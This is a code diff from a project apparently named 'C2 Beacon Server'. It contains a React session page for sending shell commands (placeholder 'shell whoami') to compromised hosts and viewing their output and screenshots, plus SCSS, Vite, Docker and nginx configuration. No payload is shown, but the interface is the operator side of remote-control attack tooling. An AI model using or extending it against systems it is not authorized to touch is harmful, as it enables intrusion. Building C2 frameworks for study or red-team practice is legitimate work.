if (e.key === 'Tab' && suggestions.length > 0) {
e.preventDefault()
setInput(suggestions[0])
setSuggestions([])
}
},
[handleSubmit, history, historyIdx, suggestions]
)
const handleInputChange = useCallback(
(e: React.ChangeEvent<HTMLInputElement>) => {
const val = e.target.value
setInput(val)
setHistoryIdx(-1)
const cmd = val.split(' ')[0].toLowerCase()
if (cmd.length > 0 && !val.includes(' ')) {
setSuggestions(COMMANDS.filter((c) => c.startsWith(cmd) && c !== cmd))
} else {
setSuggestions([])
}
},
[]
)
if (!beacon) {
return (
<div className={styles.page}>
<Link to={ROUTES.DASHBOARD} className={styles.backLink}>
<LuArrowLeft />
Back to Dashboard
</Link>
<p className={styles.notFound}>Beacon not found</p>
</div>
)
}
const online = beacon.active && isOnline(beacon.last_seen)
return (
<div className={styles.page}>
<Link to={ROUTES.DASHBOARD} className={styles.backLink}>
<LuArrowLeft />
Back to Dashboard
</Link>
<div className={styles.header}>
<div className={styles.headerInfo}>
<h2 className={styles.title}>{beacon.hostname}</h2>
<span className={styles.meta}>
{beacon.username}@{beacon.internal_ip} | {beacon.os} | {beacon.arch}
</span>
</div>
<span
className={`${styles.statusDot} ${online ? styles.online : styles.offline}`}
role="img"
aria-label={online ? 'Online' : 'Offline'}
>
<LuCircle />
</span>
</div>
<QuickActions onSend={handleSend} />
<TerminalOutput entries={entries} />
<div className={styles.inputArea}>
{suggestions.length > 0 && (
<div className={styles.suggestions}>
{suggestions.map((s) => (
<button
key={s}
type="button"
className={styles.suggestion}
onClick={() => {
setInput(s)
setSuggestions([])
inputRef.current?.focus()
}}
>
{s}
</button>
))}
</div>
)}
<div className={styles.inputRow}>
<span className={styles.prompt}>{'>'}</span>
<input
ref={inputRef}
type="text"
value={input}
onChange={handleInputChange}
onKeyDown={handleKeyDown}
className={styles.input}
placeholder="shell whoami"
autoComplete="off"
spellCheck={false}
/>
</div>
</div>
</div>
)
}
Component.displayName = 'Session'

View File

@ -0,0 +1,243 @@
// ===================
// © AngelaMos | 2026
// session.module.scss
// ===================
@use '@/styles' as *;
.page {
min-height: calc(100vh - 56px);
padding: $space-4 $space-6;
@include flex-column;
gap: $space-3;
}
.backLink {
display: inline-flex;
align-items: center;
gap: $space-2;
font-size: $font-size-sm;
color: $text-lighter;
@include transition-fast;
svg {
width: 14px;
height: 14px;
color: $accent-green;
}
@include hover {
color: $text-default;
}
}
.header {
@include flex-between;
padding: $space-3 $space-4;
background: $bg-surface-100;
border: 1px solid $border-default;
border-radius: $radius-lg;
}
.headerInfo {
@include flex-column;
gap: $space-1;
}
.title {
font-size: $font-size-lg;
font-weight: $font-weight-semibold;
color: $accent-green;
}
.meta {
font-size: $font-size-xs;
font-family: $font-mono;
color: $text-lighter;
}
.statusDot {
display: inline-flex;
align-items: center;
svg {
width: 12px;
height: 12px;
fill: currentColor;
stroke: currentColor;
}
&.online {
color: $accent-green;
}
&.offline {
color: $accent-red;
}
}
.quickActions {
display: flex;
gap: $space-2;
flex-wrap: wrap;
}
.quickBtn {
display: inline-flex;
align-items: center;
gap: $space-1-5;
padding: $space-1-5 $space-3;
font-size: $font-size-xs;
font-family: $font-mono;
color: $text-light;
background: $bg-surface-100;
border: 1px solid $border-default;
border-radius: $radius-md;
@include transition-fast;
svg {
width: 13px;
height: 13px;
color: $accent-green;
}
@include hover {
background: $bg-surface-200;
color: $text-default;
border-color: $border-strong;
}
}
.terminal {
flex: 1;
min-height: 300px;
max-height: calc(100vh - 360px);
overflow-y: auto;
padding: $space-4;
background: $terminal-bg;
border: 1px solid $border-default;
border-radius: $radius-lg;
font-family: $font-mono;
font-size: $font-size-sm;
line-height: $line-height-relaxed;
}
.terminalHint {
color: $text-muted;
font-style: italic;
}
.entry {
margin-bottom: $space-4;
&:last-child {
margin-bottom: 0;
}
}
.entryCmd {
color: $accent-blue;
font-weight: $font-weight-medium;
margin-bottom: $space-1;
}
.entryPending {
color: $accent-yellow;
font-style: italic;
}
.entryError {
color: $accent-red;
white-space: pre-wrap;
word-break: break-all;
}
.entryOutput {
color: $text-light;
white-space: pre-wrap;
word-break: break-all;
margin: 0;
}
.screenshot {
max-width: 100%;
border-radius: $radius-md;
margin-top: $space-2;
border: 1px solid $border-default;
}
.inputArea {
position: relative;
}
.suggestions {
position: absolute;
bottom: 100%;
left: 0;
display: flex;
gap: $space-1;
padding: $space-2;
margin-bottom: $space-1;
background: $bg-surface-200;
border: 1px solid $border-default;
border-radius: $radius-md;
}
.suggestion {
padding: $space-1 $space-2;
font-size: $font-size-xs;
font-family: $font-mono;
color: $text-light;
background: $bg-surface-100;
border-radius: $radius-sm;
@include transition-fast;
@include hover {
background: $bg-surface-300;
color: $text-default;
}
}
.inputRow {
display: flex;
align-items: center;
gap: $space-2;
padding: $space-2 $space-3;
background: $terminal-bg;
border: 1px solid $border-default;
border-radius: $radius-md;
&:focus-within {
border-color: $border-strong;
}
}
.prompt {
color: $accent-green;
font-family: $font-mono;
font-size: $font-size-sm;
font-weight: $font-weight-medium;
flex-shrink: 0;
}
.input {
flex: 1;
background: transparent;
border: none;
outline: none;
color: $text-default;
font-family: $font-mono;
font-size: $font-size-sm;
caret-color: $accent-green;
&::placeholder {
color: $text-muted;
}
}
.notFound {
font-size: $font-size-sm;
color: $text-muted;
@include flex-center;
height: 50vh;
}

View File

@ -0,0 +1,29 @@
// ===================
// © AngelaMos | 2026
// styles.scss
// ===================
@forward 'styles/tokens';
@forward 'styles/fonts';
@forward 'styles/mixins';
@use 'styles/reset';
@use 'styles/tokens' as *;
@use 'styles/fonts' as *;
#root {
min-height: 100vh;
min-height: 100dvh;
display: flex;
flex-direction: column;
background: $bg-default;
}
.app {
flex: 1;
display: flex;
flex-direction: column;
background: $bg-default;
color: $text-default;
font-family: $font-sans;
}

View File

@ -0,0 +1,12 @@
// ===================
// © AngelaMos | 2026
// _fonts.scss
// ===================
@use 'tokens' as *;
$font-sans: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Inter', Roboto,
'Helvetica Neue', Arial, sans-serif;
$font-mono: ui-monospace, SFMono-Regular, 'SF Mono', Menlo, Consolas,
'Liberation Mono', monospace;

View File

@ -0,0 +1,8 @@
// ===================
// © AngelaMos | 2026
// _index.scss
// ===================
@forward 'tokens';
@forward 'fonts';
@forward 'mixins';

View File

@ -0,0 +1,120 @@
// ===================
// © AngelaMos | 2026
// _mixins.scss
// ===================
@use 'sass:map';
@use 'sass:list';
@use 'tokens' as *;
$breakpoints: (
'xs': $breakpoint-xs,
'sm': $breakpoint-sm,
'md': $breakpoint-md,
'lg': $breakpoint-lg,
'xl': $breakpoint-xl,
'2xl': $breakpoint-2xl,
);
@mixin breakpoint-up($size) {
@media (min-width: map.get($breakpoints, $size)) {
@content;
}
}
@mixin breakpoint-down($size) {
@media (width < map.get($breakpoints, $size)) {
@content;
}
}
@mixin flex-center {
display: flex;
align-items: center;
justify-content: center;
}
@mixin flex-between {
display: flex;
align-items: center;
justify-content: space-between;
}
@mixin flex-column {
display: flex;
flex-direction: column;
}
@mixin flex-column-center {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
@mixin sr-only {
position: absolute;
width: 1px;
height: 1px;
margin: -1px;
padding: 0;
overflow: hidden;
clip: rect(0 0 0 0);
clip-path: inset(50%);
white-space: nowrap;
border: 0;
}
@mixin truncate {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
@mixin line-clamp($lines: 2) {
display: -webkit-box;
-webkit-line-clamp: #{$lines};
-webkit-box-orient: vertical;
overflow: hidden;
}
@mixin transition-fast {
transition-property: background-color, border-color, color, opacity;
transition-duration: $duration-fast;
transition-timing-function: $ease-out;
}
@mixin transition-normal {
transition-property: background-color, border-color, color, opacity;
transition-duration: $duration-normal;
transition-timing-function: $ease-out;
}
@mixin absolute-fill {
position: absolute;
inset: 0;
}
@mixin absolute-center {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
@mixin hover {
@media (hover: hover) and (pointer: fine) {
&:hover {
@content;
}
}
}
@mixin hide-scrollbar {
-ms-overflow-style: none;
scrollbar-width: none;
&::-webkit-scrollbar {
display: none;
}
}

View File

@ -0,0 +1,196 @@
// ===================
// © AngelaMos | 2026
// _reset.scss
// ===================
@use 'tokens' as *;
@use 'fonts' as *;
*,
*::before,
*::after {
box-sizing: border-box;
}
* {
margin: 0;
padding: 0;
-webkit-tap-highlight-color: transparent;
}
html {
font-size: 16px;
text-size-adjust: none;
overflow-x: hidden;
}
@media (prefers-reduced-motion: no-preference) {
html {
interpolate-size: allow-keywords;
scroll-behavior: smooth;
}
}
body {
min-height: 100vh;
min-height: 100dvh;
line-height: $line-height-normal;
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
overflow-x: hidden;
background-color: $bg-default;
color: $text-default;
font-family: $font-sans;
}
h1,
h2,
h3,
h4,
h5,
h6 {
line-height: $line-height-tight;
text-wrap: balance;
overflow-wrap: break-word;
font-weight: $font-weight-semibold;
}
p {
text-wrap: pretty;
overflow-wrap: break-word;
}
ul,
ol {
list-style: none;
}
a {
color: inherit;
text-decoration: none;
}
img,
picture,
video,
canvas,
svg {
display: block;
max-width: 100%;
height: auto;
}
input,
button,
textarea,
select {
font: inherit;
color: inherit;
}
input[type='text'],
input[type='email'],
input[type='password'],
input[type='search'],
input[type='number'],
input[type='tel'],
input[type='url'],
textarea,
select {
font-size: $font-size-sm;
appearance: none;
}
button {
background: none;
border: none;
cursor: pointer;
text-align: inherit;
font-family: inherit;
}
fieldset {
border: none;
}
table {
border-collapse: collapse;
border-spacing: 0;
}
textarea:not([rows]) {
min-height: 10em;
}
:target {
scroll-margin-block: 5ex;
}
:focus-visible {
outline: 2px solid $border-strong;
outline-offset: 2px;
}
:focus:not(:focus-visible) {
outline: none;
}
[hidden] {
display: none !important;
}
[disabled] {
cursor: not-allowed;
opacity: 0.5;
}
dialog {
padding: 0;
border: none;
background: transparent;
}
summary {
cursor: pointer;
}
@media (prefers-reduced-motion: reduce) {
*,
*::before,
*::after {
animation-duration: 0.01ms !important;
animation-iteration-count: 1 !important;
transition-duration: 0.01ms !important;
scroll-behavior: auto !important;
}
}
@supports (padding: max(0px)) {
body {
padding-left: max(0px, env(safe-area-inset-left));
padding-right: max(0px, env(safe-area-inset-right));
}
}
::-webkit-scrollbar {
width: 6px;
height: 6px;
}
::-webkit-scrollbar-track {
background: transparent;
}
::-webkit-scrollbar-thumb {
background: $border-default;
border-radius: 3px;
}
::-webkit-scrollbar-thumb:hover {
background: $border-strong;
}
::selection {
background-color: $bg-selection;
}

View File

@ -0,0 +1,182 @@
// ===================
// © AngelaMos | 2026
// _tokens.scss
// ===================
// ============================================================================
// SPACING (8px base system)
// ============================================================================
$space-0: 0;
$space-px: 1px;
$space-0-5: 0.125rem;
$space-1: 0.25rem;
$space-1-5: 0.375rem;
$space-2: 0.5rem;
$space-2-5: 0.625rem;
$space-3: 0.75rem;
$space-3-5: 0.875rem;
$space-4: 1rem;
$space-5: 1.25rem;
$space-6: 1.5rem;
$space-7: 1.75rem;
$space-8: 2rem;
$space-9: 2.25rem;
$space-10: 2.5rem;
$space-11: 2.75rem;
$space-12: 3rem;
$space-14: 3.5rem;
$space-16: 4rem;
$space-20: 5rem;
$space-24: 6rem;
$space-28: 7rem;
$space-32: 8rem;
// ============================================================================
// TYPOGRAPHY SCALE
// ============================================================================
$font-size-3xs: 0.625rem;
$font-size-2xs: 0.6875rem;
$font-size-xs: 0.75rem;
$font-size-sm: 0.875rem;
$font-size-base: 1rem;
$font-size-lg: 1.125rem;
$font-size-xl: 1.25rem;
$font-size-2xl: 1.5rem;
$font-size-3xl: 1.875rem;
$font-size-4xl: 2.25rem;
$font-size-5xl: 3rem;
// ============================================================================
// FONT WEIGHTS
// ============================================================================
$font-weight-regular: 400;
$font-weight-medium: 500;
$font-weight-semibold: 600;
// ============================================================================
// LINE HEIGHTS
// ============================================================================
$line-height-none: 1;
$line-height-tight: 1.2;
$line-height-snug: 1.375;
$line-height-normal: 1.5;
$line-height-relaxed: 1.625;
// ============================================================================
// LETTER SPACING
// ============================================================================
$tracking-tighter: -0.05em;
$tracking-tight: -0.025em;
$tracking-normal: 0;
$tracking-wide: 0.025em;
$tracking-wider: 0.05em;
// ============================================================================
// COLORS
// ============================================================================
$white: hsl(0, 0%, 100%);
$black: hsl(0, 0%, 0%);
// Auth
$bg-page: hsl(0, 0%, 10.5%);
$bg-card: hsl(0, 0%, 6.2%);
// Shell (sidebar/header vs content)
$bg-shell-base: hsl(0, 0%, 6.9%);
$bg-shell-dot: hsl(0, 0%, 11.8%);
// Main content area
$bg-content-base: hsl(0, 0%, 5.4%);
$bg-content-dot: hsl(0, 0%, 9.6%);
$bg-default: hsl(0, 0%, 7.1%);
$bg-alternative: hsl(0, 0%, 5.9%);
$bg-surface-75: hsl(0, 0%, 9%);
$bg-surface-100: hsl(0, 0%, 12.2%);
$bg-surface-200: hsl(0, 0%, 14.1%);
$bg-surface-300: hsl(0, 0%, 16.1%);
$bg-control: hsl(0, 0%, 10%);
$bg-selection: hsl(0, 0%, 19.2%);
$bg-overlay: hsl(0, 0%, 14.1%);
$bg-overlay-hover: hsl(0, 0%, 18%);
$border-muted: hsl(0, 0%, 11.1%);
$border-default: hsl(0, 0%, 18%);
$border-strong: hsl(0, 0%, 22.4%);
$border-stronger: hsl(0, 0%, 27.1%);
$border-control: hsl(0, 0%, 22.4%);
$text-default: hsl(0, 0%, 98%);
$text-light: hsl(0, 0%, 70.6%);
$text-lighter: hsl(0, 0%, 53.7%);
$text-muted: hsl(0, 0%, 30.2%);
$error-default: hsl(0, 72%, 51%);
$error-light: hsl(0, 72%, 65%);
$accent-green: hsl(120, 60%, 50%);
$accent-green-dim: hsl(120, 40%, 25%);
$accent-red: hsl(0, 70%, 55%);
$accent-red-dim: hsl(0, 40%, 20%);
$accent-blue: hsl(200, 70%, 50%);
$accent-yellow: hsl(45, 80%, 60%);
$terminal-bg: hsl(0, 0%, 5%);
// ============================================================================
// BORDER RADIUS
// ============================================================================
$radius-none: 0;
$radius-xs: 2px;
$radius-sm: 4px;
$radius-md: 6px;
$radius-lg: 8px;
$radius-xl: 12px;
$radius-full: 9999px;
// ============================================================================
// Z-INDEX SCALE
// ============================================================================
$z-hide: -1;
$z-base: 0;
$z-dropdown: 100;
$z-sticky: 200;
$z-fixed: 300;
$z-overlay: 400;
$z-modal: 500;
$z-popover: 600;
$z-tooltip: 700;
$z-toast: 800;
$z-max: 9999;
// ============================================================================
// TRANSITIONS
// ============================================================================
$duration-instant: 0ms;
$duration-fast: 100ms;
$duration-normal: 150ms;
$duration-slow: 200ms;
$ease-out: cubic-bezier(0, 0, 0.2, 1);
$ease-in-out: cubic-bezier(0.4, 0, 0.2, 1);
// ============================================================================
// BREAKPOINTS
// ============================================================================
$breakpoint-xs: 360px;
$breakpoint-sm: 480px;
$breakpoint-md: 768px;
$breakpoint-lg: 1024px;
$breakpoint-xl: 1280px;
$breakpoint-2xl: 1536px;
// ============================================================================
// CONTAINER WIDTHS
// ============================================================================
$container-xs: 20rem;
$container-sm: 24rem;
$container-md: 28rem;
$container-lg: 32rem;
$container-xl: 36rem;
$container-2xl: 42rem;
$container-full: 100%;

View File

@ -0,0 +1,107 @@
// ©AngelaMos | 2026
// stylelint.config.js
/** @type {import('stylelint').Config} */
export default {
extends: ['stylelint-config-standard-scss', 'stylelint-config-prettier-scss'],
rules: {
'block-no-empty': true,
'declaration-no-important': true,
'color-no-invalid-hex': true,
'property-no-unknown': true,
'selector-pseudo-class-no-unknown': [
true,
{
ignorePseudoClasses: ['global'],
},
],
'selector-class-pattern': [
'^[a-z]([a-z0-9-]+)?(__[a-z0-9]([a-z0-9-]+)?)?(--[a-z0-9]([a-z0-9-]+)?)?$|^[a-z][a-zA-Z0-9]*$',
{
message:
'Selector should be in BEM format (e.g., .block__element--modifier) or CSS Modules camelCase (e.g., .testButton)',
},
],
'value-keyword-case': [
'lower',
{
camelCaseSvgKeywords: true,
ignoreKeywords: [
'BlinkMacSystemFont',
'SFMono-Regular',
'Menlo',
'Monaco',
'Consolas',
'Roboto',
'Arial',
'Helvetica',
'Times',
'Georgia',
'Verdana',
'Tahoma',
'Trebuchet',
'Impact',
'Comic',
],
},
],
'property-no-vendor-prefix': [
true,
{
ignoreProperties: ['text-size-adjust', 'appearance', 'backdrop-filter'],
},
],
'value-no-vendor-prefix': true,
'selector-no-vendor-prefix': true,
'property-no-deprecated': [
true,
{
ignoreProperties: ['clip'],
},
],
'container-name-pattern': null,
'layer-name-pattern': null,
'scss/at-rule-no-unknown': true,
'scss/declaration-nested-properties-no-divided-groups': true,
'scss/dollar-variable-no-missing-interpolation': true,
'scss/dollar-variable-empty-line-before': null,
'declaration-empty-line-before': null,
'custom-property-empty-line-before': null,
'no-descending-specificity': null,
'media-feature-name-no-unknown': [
true,
{
ignoreMediaFeatureNames: ['map'],
},
],
'color-function-notation': null,
'hue-degree-notation': null,
},
ignoreFiles: [
'node_modules/**',
'dist/**',
'build/**',
'**/*.js',
'**/*.ts',
'**/*.tsx',
],
overrides: [
{
files: ['**/styles/_reset.scss', '**/styles/_fonts.scss'],
rules: {
'declaration-no-important': null,
'scss/comment-no-empty': null,
},
},
],
}

View File

@ -0,0 +1,31 @@
{
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
"target": "ES2022",
"useDefineForClassFields": true,
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"module": "ESNext",
"types": ["vite/client"],
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"verbatimModuleSyntax": true,
"moduleDetection": "force",
"noEmit": true,
"jsx": "react-jsx",
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"erasableSyntaxOnly": true,
"noFallthroughCasesInSwitch": true,
"noUncheckedSideEffectImports": true,
"baseUrl": ".",
"paths": {
"@/*": ["./src/*"]
}
},
"include": ["src"]
}

View File

@ -0,0 +1,7 @@
{
"files": [],
"references": [
{ "path": "./tsconfig.app.json" },
{ "path": "./tsconfig.node.json" }
]
}

View File

@ -0,0 +1,24 @@
{
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
"target": "ES2023",
"lib": ["ES2023"],
"module": "ESNext",
"types": ["node"],
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"verbatimModuleSyntax": true,
"moduleDetection": "force",
"noEmit": true,
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"erasableSyntaxOnly": true,
"noFallthroughCasesInSwitch": true,
"noUncheckedSideEffectImports": true
},
"include": ["vite.config.ts"]
}

View File

@ -0,0 +1,74 @@
/**
* ©AngelaMos | 2026
* vite.config.ts
*/
import path from 'node:path'
import react from '@vitejs/plugin-react'
import { defineConfig, loadEnv } from 'vite'
import tsconfigPaths from 'vite-tsconfig-paths'
export default defineConfig(({ mode }) => {
const env = loadEnv(mode, path.resolve(__dirname, '..'), '')
const isDev = mode === 'development'
return {
plugins: [react(), tsconfigPaths()],
resolve: {
alias: {
'@': path.resolve(__dirname, './src'),
},
},
css: {
preprocessorOptions: {
scss: {},
},
},
server: {
port: 5173,
host: '0.0.0.0',
proxy: {
'/api/ws': {
target: env.VITE_API_TARGET || 'http://localhost:8000',
changeOrigin: true,
ws: true,
rewrite: (p) => p.replace(/^\/api/, ''),
},
'/api': {
target: env.VITE_API_TARGET || 'http://localhost:8000',
changeOrigin: true,
rewrite: (p) => p.replace(/^\/api/, ''),
},
},
},
build: {
target: 'esnext',
cssTarget: 'chrome100',
sourcemap: isDev ? true : 'hidden',
minify: 'oxc',
rollupOptions: {
output: {
manualChunks(id: string): string | undefined {
if (id.includes('node_modules')) {
if (id.includes('react-dom') || id.includes('react-router')) {
return 'vendor-react'
}
if (id.includes('zustand')) {
return 'vendor-state'
}
}
return undefined
},
},
},
},
preview: {
port: 4173,
},
}
})

View File

@ -0,0 +1,34 @@
# =============================================================================
# AngelaMos | 2026
# fastapi.dev
# =============================================================================
# Development Dockerfile for FastAPI backend
# Features: uv package manager, hot reload, dev dependencies
# =============================================================================
# syntax=docker/dockerfile:1
FROM python:3.12-slim
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
WORKDIR /app
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
UV_COMPILE_BYTECODE=0 \
UV_LINK_MODE=copy \
PYTHONPATH=/app/app
COPY pyproject.toml uv.lock* ./
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-install-project
COPY . .
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen
EXPOSE 8000
CMD ["uv", "run", "uvicorn", "app.__main__:app", "--host", "0.0.0.0", "--port", "8000", "--reload"]

View File

@ -0,0 +1,59 @@
# =============================================================================
# AngelaMos | 2026
# fastapi.prod
# =============================================================================
# Production Dockerfile for FastAPI backend
# Features: uv, multi-stage build, non-root user, health check
# =============================================================================
# syntax=docker/dockerfile:1
# ============================================================================
# BUILD STAGE
# ============================================================================
FROM python:3.12-slim AS builder
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
WORKDIR /app
ENV UV_COMPILE_BYTECODE=1 \
UV_LINK_MODE=copy
COPY pyproject.toml uv.lock* ./
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --locked --no-install-project --no-dev
COPY . .
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --locked --no-dev --no-editable
# ============================================================================
# PRODUCTION STAGE
# ============================================================================
FROM python:3.12-slim AS production
RUN groupadd -g 1001 appgroup && \
useradd -u 1001 -g appgroup -m -s /bin/false appuser && \
mkdir -p /app/data && \
chown -R appuser:appgroup /app
WORKDIR /app
COPY --from=builder --chown=appuser:appgroup /app/.venv /app/.venv
COPY --from=builder --chown=appuser:appgroup /app/app /app/app
ENV PATH="/app/.venv/bin:$PATH" \
PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1 \
PYTHONPATH=/app/app
USER appuser
EXPOSE 8000
HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8000/health')" || exit 1
CMD ["gunicorn", "app.__main__:app", "--worker-class", "uvicorn.workers.UvicornWorker", "--workers", "2", "--bind", "0.0.0.0:8000", "--max-requests", "1000", "--max-requests-jitter", "100", "--access-logfile", "-", "--error-logfile", "-"]

View File

@ -0,0 +1,60 @@
# =============================================================================
# AngelaMos | 2026
# frontend-builder.prod
# =============================================================================
# Production Dockerfile for frontend
# Multi-stage: builds Vite app, serves via Nginx
# =============================================================================
# syntax=docker/dockerfile:1
# ============================================================================
# BUILD STAGE
# ============================================================================
FROM node:22-slim AS builder
RUN corepack enable && corepack prepare pnpm@latest --activate
WORKDIR /app
COPY frontend/package.json frontend/pnpm-lock.yaml* ./
RUN --mount=type=cache,target=/root/.local/share/pnpm/store \
pnpm install --frozen-lockfile
COPY frontend/ .
ARG VITE_API_URL=/api
ARG VITE_APP_TITLE="C2 Beacon Server"
ENV VITE_API_URL=${VITE_API_URL} \
VITE_APP_TITLE=${VITE_APP_TITLE}
RUN pnpm build
# ============================================================================
# PRODUCTION STAGE
# ============================================================================
FROM nginx:1.27-alpine AS production
RUN rm -rf /usr/share/nginx/html/* && \
rm /etc/nginx/conf.d/default.conf
COPY --from=builder /app/dist /usr/share/nginx/html
COPY --chown=nginx:nginx infra/nginx/nginx.prod.conf /etc/nginx/nginx.conf
COPY --chown=nginx:nginx infra/nginx/prod.nginx /etc/nginx/conf.d/default.conf
RUN chown -R nginx:nginx /usr/share/nginx/html && \
chown -R nginx:nginx /var/cache/nginx && \
chown -R nginx:nginx /var/log/nginx && \
touch /var/run/nginx.pid && \
chown -R nginx:nginx /var/run/nginx.pid
USER nginx
EXPOSE 80
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD wget --no-verbose --tries=1 --spider http://localhost:80/health || exit 1
CMD ["nginx", "-g", "daemon off;"]

View File

@ -0,0 +1,25 @@
# =============================================================================
# AngelaMos | 2026
# vite.dev
# =============================================================================
# Development Dockerfile for Vite/React frontend
# Features: pnpm, HMR support, polling for Docker file watching
# =============================================================================
# syntax=docker/dockerfile:1
FROM node:22-slim
RUN corepack enable && corepack prepare pnpm@latest --activate
WORKDIR /app
COPY package.json pnpm-lock.yaml* ./
RUN --mount=type=cache,target=/root/.local/share/pnpm/store \
pnpm install --frozen-lockfile
COPY . .
EXPOSE 5173
CMD ["pnpm", "dev", "--host", "0.0.0.0"]

View File

@ -0,0 +1,70 @@
# =============================================================================
# AngelaMos | 2026
# dev.nginx
# =============================================================================
# Development server block: proxies to Vite HMR + FastAPI backend
server {
listen 80;
listen [::]:80;
server_name _;
access_log /var/log/nginx/access.log main_timed;
error_log /var/log/nginx/error.log debug;
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
location /health {
access_log off;
return 200 "healthy\n";
add_header Content-Type text/plain;
}
location /api/ {
limit_req zone=api_limit burst=50 nodelay;
limit_conn conn_limit 20;
proxy_pass http://backend/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
proxy_request_buffering off;
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
}
location /api/ws/ {
proxy_pass http://backend/ws/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
proxy_buffering off;
}
location / {
proxy_pass http://frontend_dev;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_read_timeout 60s;
proxy_buffering off;
}
}

View File

@ -0,0 +1,83 @@
# AngelaMos | 2026
# nginx.conf
# Shared nginx configuration (development)
user nginx;
worker_processes auto;
worker_rlimit_nofile 65535;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 4096;
multi_accept on;
use epoll;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream backend {
server backend:8000 max_fails=3 fail_timeout=30s;
keepalive 32;
keepalive_requests 1000;
keepalive_timeout 60s;
}
upstream frontend_dev {
server frontend:5173;
keepalive 8;
}
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
limit_req_status 429;
log_format main_timed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'rt=$request_time uct="$upstream_connect_time" '
'uht="$upstream_header_time" urt="$upstream_response_time"';
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
client_body_buffer_size 128k;
client_header_buffer_size 16k;
client_max_body_size 10m;
large_client_header_buffers 4 16k;
client_body_timeout 12s;
client_header_timeout 12s;
send_timeout 10s;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_min_length 256;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/json
application/javascript
application/xml+rss
application/atom+xml
image/svg+xml;
gzip_disable "msie6";
include /etc/nginx/conf.d/*.conf;
}

View File

@ -0,0 +1,77 @@
# AngelaMos | 2026
# nginx.prod.conf
# Production nginx configuration (no dev frontend upstream)
worker_processes auto;
worker_rlimit_nofile 65535;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 4096;
multi_accept on;
use epoll;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream backend {
server backend:8000 max_fails=3 fail_timeout=30s;
keepalive 32;
keepalive_requests 1000;
keepalive_timeout 60s;
}
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
limit_req_status 429;
log_format main_timed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'rt=$request_time uct="$upstream_connect_time" '
'uht="$upstream_header_time" urt="$upstream_response_time"';
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
client_body_buffer_size 128k;
client_header_buffer_size 16k;
client_max_body_size 10m;
large_client_header_buffers 4 16k;
client_body_timeout 12s;
client_header_timeout 12s;
send_timeout 10s;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_min_length 256;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/json
application/javascript
application/xml+rss
application/atom+xml
image/svg+xml;
gzip_disable "msie6";
include /etc/nginx/conf.d/*.conf;
}

View File

@ -0,0 +1,90 @@
# =============================================================================
# AngelaMos | 2026
# prod.nginx
# =============================================================================
# Production server block: serves static files + proxies API
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
index index.html;
access_log /var/log/nginx/access.log main_timed buffer=32k flush=5s;
